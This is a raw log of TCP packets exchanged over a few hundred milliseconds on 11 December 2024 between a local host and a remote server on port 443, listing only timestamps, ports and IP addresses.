Dec 11, 2024 12:59:54.173547983 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.173599005 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.173641920 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.173691034 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.175462961 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.175473928 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.175641060 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.175641060 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.175648928 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.175692081 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.175740004 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.175838947 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.177853107 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.177862883 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.178009033 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.178009033 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.178057909 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.178061008 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.178107023 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.178155899 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.178201914 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.179491997 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.179502964 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.179634094 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.179634094 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.179678917 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.179682970 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.179728985 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.179728985 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.180340052 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.181924105 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.181952000 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.182070017 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.182070017 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.182167053 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.182171106 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.182360888 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.184391022 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.184401035 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.184544086 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.184581041 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.184581041 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.184587002 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.184629917 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.184681892 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.184730053 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.186184883 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.186196089 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.186352015 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.186400890 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.186400890 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.186400890 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.186405897 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.186453104 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.186549902 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.188021898 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.188030958 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.188214064 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.188214064 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.188220024 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.188308001 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.188357115 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.190426111 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.190433979 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.190592051 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.190592051 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.190644026 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.190644026 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.190648079 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.190692902 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.190788031 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.192854881 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.192862988 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.193013906 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.193092108 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.193092108 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.193094969 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.193245888 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.194593906 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.194602966 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.194793940 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.194793940 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.194845915 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.194845915 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.194845915 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.194849968 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.194988966 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.197379112 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.197386980 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.197519064 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.197566986 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.197566986 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.197571993 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.197618961 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.197666883 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.197719097 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.199157953 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.199166059 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.199306011 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.199306011 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.199433088 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.199436903 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.199590921 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.201384068 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.201392889 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.201601982 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.201653957 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.201705933 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.201708078 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.201755047 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.202044010 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.203074932 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.203083992 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.203270912 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.203270912 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.203270912 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.203278065 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.203319073 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.203366995 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.203413010 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.205683947 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.205693007 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.205842972 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.205842972 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.205888033 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.205890894 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.205936909 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.205938101 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.206034899 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.207416058 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.207423925 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.207611084 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.207611084 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.207617044 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.207740068 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.207740068 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.210050106 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.210088968 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.210253000 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.210253000 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.210294962 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.210313082 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.210313082 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.210407019 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.211815119 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.211854935 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.211958885 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.212004900 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.212004900 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.212024927 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.212055922 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.212152958 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.212203026 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.214241028 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.214282990 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.214454889 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.214454889 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.214492083 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.214510918 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.214643955 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.216335058 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.216375113 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.216495991 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.216496944 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.216537952 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.216537952 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.216558933 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.216588974 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.216711044 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.216986895 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.217199087 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.217199087 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.264075994 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.390250921 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.390305996 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.390450954 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.390800953 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.390849113 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.391177893 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.392214060 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.392265081 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.392445087 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.392445087 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.392486095 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.392504930 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.392555952 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.392617941 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.394140005 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.394191980 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.394334078 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.394334078 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.394370079 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.394370079 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.394388914 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.394499063 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.394546986 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.396184921 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.396235943 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.396372080 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.396373034 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.396435022 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.396435022 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.396466017 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.396490097 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.396609068 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.398271084 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.398320913 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.398437023 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.398437023 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.398489952 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.398489952 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.398514986 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.398540974 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.398694992 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.400538921 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.400588036 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.400823116 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.400823116 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.400823116 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.400866985 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.401014090 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.401014090 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.401192904 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.402429104 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.402476072 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.402630091 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.402631044 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.402631044 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.402686119 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.402703047 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.402703047 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.402894020 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.404360056 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.404408932 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.404717922 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.404717922 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.404717922 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.404762030 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.404786110 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.405019999 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.406542063 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.406589985 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.406701088 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.406701088 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.406749964 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.406771898 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.406793118 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.406793118 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.406949043 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.408598900 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.408648968 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.408740044 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.408828974 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.408828974 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.408852100 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.409048080 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.410722971 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.410770893 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.410877943 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.410877943 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.410932064 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.410933018 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.410959005 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.411072969 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.411175966 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.412663937 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.412713051 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.412873983 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.412873983 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.412903070 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.412924051 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.413028002 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.414787054 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.414838076 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.414974928 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.414974928 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.415030003 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.415030003 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.415056944 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.415143013 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.415232897 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.416780949 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.416831970 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.416943073 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.416943073 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.417002916 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.417025089 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.417089939 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.417160034 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.419513941 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.419560909 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.419723988 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.419723988 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.419852972 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.419882059 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.420053005 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.421237946 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.421284914 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.421389103 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.421389103 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.421472073 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.421515942 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.421544075 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.421544075 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.421710014 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.422976971 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.423026085 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.423163891 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.423165083 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.423218012 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.423218012 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.423242092 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.423351049 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.423451900 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.425755978 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.425802946 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.425913095 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.425913095 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.425993919 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.426018000 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.426037073 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.426037073 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.426158905 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.427793026 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.427840948 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.428061008 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.428061008 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.428107023 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.428128004 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.428258896 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.429759979 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.429807901 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.429954052 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.429954052 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.429996014 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.429996014 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.430017948 CET	443	49763	104.21.1.51	192.168.11.20
Dec 11, 2024 12:59:54.430062056 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.430145979 CET	49763	443	192.168.11.20	104.21.1.51
Dec 11, 2024 12:59:54.431426048 CET	443	49763	104.21.1.51	192.168.11.20
